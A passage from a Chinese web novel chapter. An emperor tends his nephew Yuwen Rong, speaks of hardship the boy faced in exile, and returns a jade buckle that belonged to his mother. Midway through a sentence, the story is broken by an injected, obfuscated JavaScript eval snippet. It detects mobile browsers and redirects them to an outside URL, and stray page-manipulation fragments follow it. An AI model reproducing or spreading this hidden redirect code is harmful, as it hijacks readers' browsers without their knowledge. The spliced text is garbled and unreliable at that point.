烛火又剪过一茬，殿内光影晃动了一下。


    梁帝服药后，状态好了一些，但他并未入睡，看着跪坐在脚踏上守着药炉的宇文戎的侧影，那身影在昏黄光线下显得单薄而静默。沉默在药香中流淌了片刻，梁帝忽然开口，声音在寂静里显得格外清晰，也格外低沉： “戎儿。”


    宇文戎肩背几不可察地微微一绷，随即放松，转身垂首：“陛下有何吩咐？”


    “朕一直想问，”梁帝的目光落在他低垂的眉眼上，语气似寻常闲聊，却藏着更深的探询，“你十岁便去了北境哪苦寒之地，可还适应？可曾生病？生病时……可有人在旁边照料？”


    适应吗？最初是难以适应的。从云端跌入尘埃，从备受宠溺到无人问津。他学着自己生火做饭，时常弄得满脸烟灰；自己浆洗衣物，双手在冷水中冻得通红。夜间风寒，被褥单薄，他蜷缩着，听窗外风声如诉。生病时最难熬，高热昏沉，却连口热水都需强撑着起来烧。那时心头充斥着冰冷的怨与不解，还有被遗弃的恐慌。


    后来，他慢慢意识到，落叶轩的高墙与隔绝，固然是囚禁，又何尝不是一种保护？将他与靖王府复杂的人际、潜在的恶意隔离开来。靖王军中并非铁板一块，他这样一个身份敏感、带着“原罪”的世子，若放任在外，才是真正的危机四伏。


    可这些，怎能告诉陛下，宇文戎指尖无意识地捻了一下衣角，答得平稳：“回陛下，臣随寒师兄，习剑法，亦修习内功调息之法，体魄渐强，那些年……很少生病了。”


    “是很少生病，”梁帝缓缓重复，目光不移，“还是……不敢生病？”


    宇文戎呼吸一滞，蓦然抬头，对上梁帝那双仿佛能洞穿一切的眼睛。


    他立刻意识到失态，又迅速垂下眼帘，但方才那一瞬间的震动已被尽收眼底。梁帝并未追问，只像是陈述一件已知之事，声音平缓却重若千钧：“朕听人说，你在锦州时，身边那两名唤作‘如影’、‘似随’的暗卫，有时深夜会‘请’大夫前往落叶轩。”他特意在“请”字上，落了极轻却不容错辨的停顿。


    宇文戎的血液似乎凉了一瞬。他几乎能想象出那场景——自己烧得糊涂，无法自控，如影和似随不得已，只能去“请”（或许是半请半挟）城中大夫。


    靖王府的耳目无处不在，这样的事，终究是瞒不过父王，可他并未阻止。只是没想到远在千里之外的陛下也知晓。


    宇文戎抿了抿唇，没有承认，也没有否认。


    那些年，他的确不敢生病。靖王不喜他生病，病弱意味着无用，意味着麻烦，意味着可能无法完成那些苛刻的课业与考验，意味着他可能连关在落叶轩的资格都没有。每一次风寒发热，首先涌上心头的不是寻求医治的渴望，而是如何掩饰症状、如何尽快扛过去的焦虑与恐惧。


    梁帝将他细微的反应尽收眼底，眼底深处掠过一丝沉痛，却又被更复杂的神色掩盖。他沉默了片刻，再开口时，声音里带上了一种遥远的、近乎叹息的语调： “朕……是一直挂念你的。”


    宇文戎心头猛地一撞。


    “开始那几年，”梁帝的目光仿佛穿透了时光，望回锦州，“朕常派人，以各种名目往靖王府送东西。上好的药材，御寒的衣物，一些宫里造的、不易引人注目的滋补之物。”


    宇文戎愕然抬眸，他对此……几乎毫无印象。不，或许有，是一些模糊的、关于锦州王府库房偶尔接收“京中赏赐”的记忆，但那些东西从未到他手中。


    梁帝的声音冷了下去，带着一种压抑的怒与涩：“你的父王……靖王兄，他宁可让那些药材在库房里积尘，宁可让那些衣物冠冕堂皇地送去佛前焚香供奉，以彰显‘天恩浩荡’……也不肯让你用上一丝一毫。非但如此，每有此类赏赐，你或多或少，总会平白担上些‘引动天听’、‘不知收敛’的猜疑与责罚。”


    宇文戎的指甲深深掐入了掌心。原来……原来那些不时降临的勘察，背后原因竟是如此。


    而陛下，竟也知晓。


    “于是，朕也不忍……再派人去了。”梁帝闭上眼，眉宇间是深深的疲惫与一种无力回天的苍凉，“朕给的，反而成了你的负累。不如不给。”


    殿内陷入了长久的死寂。只有烛火噼啪，映着两人同样复杂难言的面容。


    良久，梁帝复又睁开眼，侧身，从枕畔一个不起眼的紫檀小盒里，取出一物。那物件在烛光下流淌着温润的光泽。


    宇文戎的视线触及那物，整个人如遭雷击，僵在原地。那是一枚羊脂白玉平安扣，玉质极佳，雕工古拙，系着颜色已有些陈旧的墨绿丝绦。那是他周岁时，母亲长公主刘云馨亲手为他戴上，祈愿平安顺遂的贴身之物，伴随他度过锦州最初冰冷岁月，却在绝境中不得不当掉的平安扣……竟在梁帝手中。


    梁帝将玉扣托在掌心，指腹轻轻摩挲着已有些磨损的丝绦，声音低沉，带着一种复杂的叹息：“若不是山穷水尽，朕的戎儿……怎么舍得把它当了。”


    宇文戎喉咙发紧，一个字也吐不出来。


    梁帝抬眼看他，目光深邃，仿佛要透过他平静的表象，看到当年那个被迫典当母亲遗物的少年，“朕陪皇姐在内库千挑万选，才得了它。皇姐为你戴上时，满心欢喜。”他顿了顿，声音更缓，却似重锤，“朕当时也在心里许了愿。”


    宇文戎的指尖在袖中微微颤抖。他强迫自己站稳，垂眸避开那过于灼人的视线，可胸腔里某个地方


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102394|194767||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，却不受控制地酸胀起来。


    梁帝伸出手，语气是不容拒绝的温和：“过来。”


    宇文戎依言上前，在榻边跪坐下来。梁帝倾身，将那枚带着他体温和岁月痕迹的平安扣，重新系在宇文戎颈间。微凉的玉石贴上皮肤，激起一阵战栗，仿佛故去的母亲和逝去的童年，隔着时空轻轻触碰了他一下。


    丝绦系好，梁帝的手指并未立刻离开，而是轻轻按了按那枚玉扣，仿佛要将某种力量灌注进去。他的声音低而清晰，落在寂静的寝殿里：


    “朕许愿，愿朕的戎儿，身强体健，永无疾病之忧。”


    话音落下，寝殿内一片死寂。


    宇文戎感到一股汹涌的热流猛冲上眼眶，鼻尖酸涩得厉害。那些被刻意遗忘的、属于“戎儿”的渴望——被珍视、被庇护、被毫无条件地祝愿安康的渴望——在这句话面前无所遁形。锦州的寒冬、病中的硬撑、当掉玉扣时的决绝与凄凉……种种画面交织冲撞。他以为心早已磨出厚茧，可原来底下，还是血肉之躯。


    眼泪终究是滚了下来，沿着苍白的脸颊滑落，一滴，两滴，悄无声息，却烫得惊人。


    但他没有发出声音。


    甚至没有抬手去擦。


    他只是低着头，任由泪水坠落。他的手指紧紧攥住身下的衣料，指节泛出青白色，仿佛用尽了全身力气，才将喉间的呜咽和更剧烈的情绪波动死死锁住。


    梁帝静静看着他无声落泪、强自隐忍的模样，眼底的情绪翻涌如海。那里面有怜惜，有痛楚，或许还有一丝如愿以偿的深沉。他没有像对待孩童般安慰，只是收回了手，目光却久久停留在外甥低垂的、泪湿的侧脸，和那枚终于物归原主、贴着他心口微微起伏的平安扣上。


    良久，宇文戎极轻地吸了一口气，那气息带着不易察觉的颤音。他抬起手，用衣袖迅速而用力地抹了一下脸，再抬头时，除了眼眶和鼻尖残留的微红，面上已恢复了大半平静。只是眼底深处，那层冰封的壳裂开了缝隙，有水光润泽的痕迹，和一种近乎脆弱的茫然。


    “谢陛下。”他的声音沙哑，却清晰，将翻腾的心潮压成三个规整的字。这谢意，为玉扣，为那句“愿望”，也为这份他不知该如何应对的、时隔多年的“挂念”。


    梁帝深深看了他一眼，似乎想说什么，最终只是几不可闻地叹了一声，重新靠回软枕，闭目养神，仿佛刚才那番牵动情绪的对话不曾发生。只是那微微起伏的胸膛，透露出一丝并不平静的端倪。


    烛光摇曳，映着两人。


    一人闭目，思绪沉沉。


    一人跪坐，颈间玉石温润，心绪如潮水退去后的沙滩，满是潮湿的痕迹和来不及带走的、复杂难言的沉积。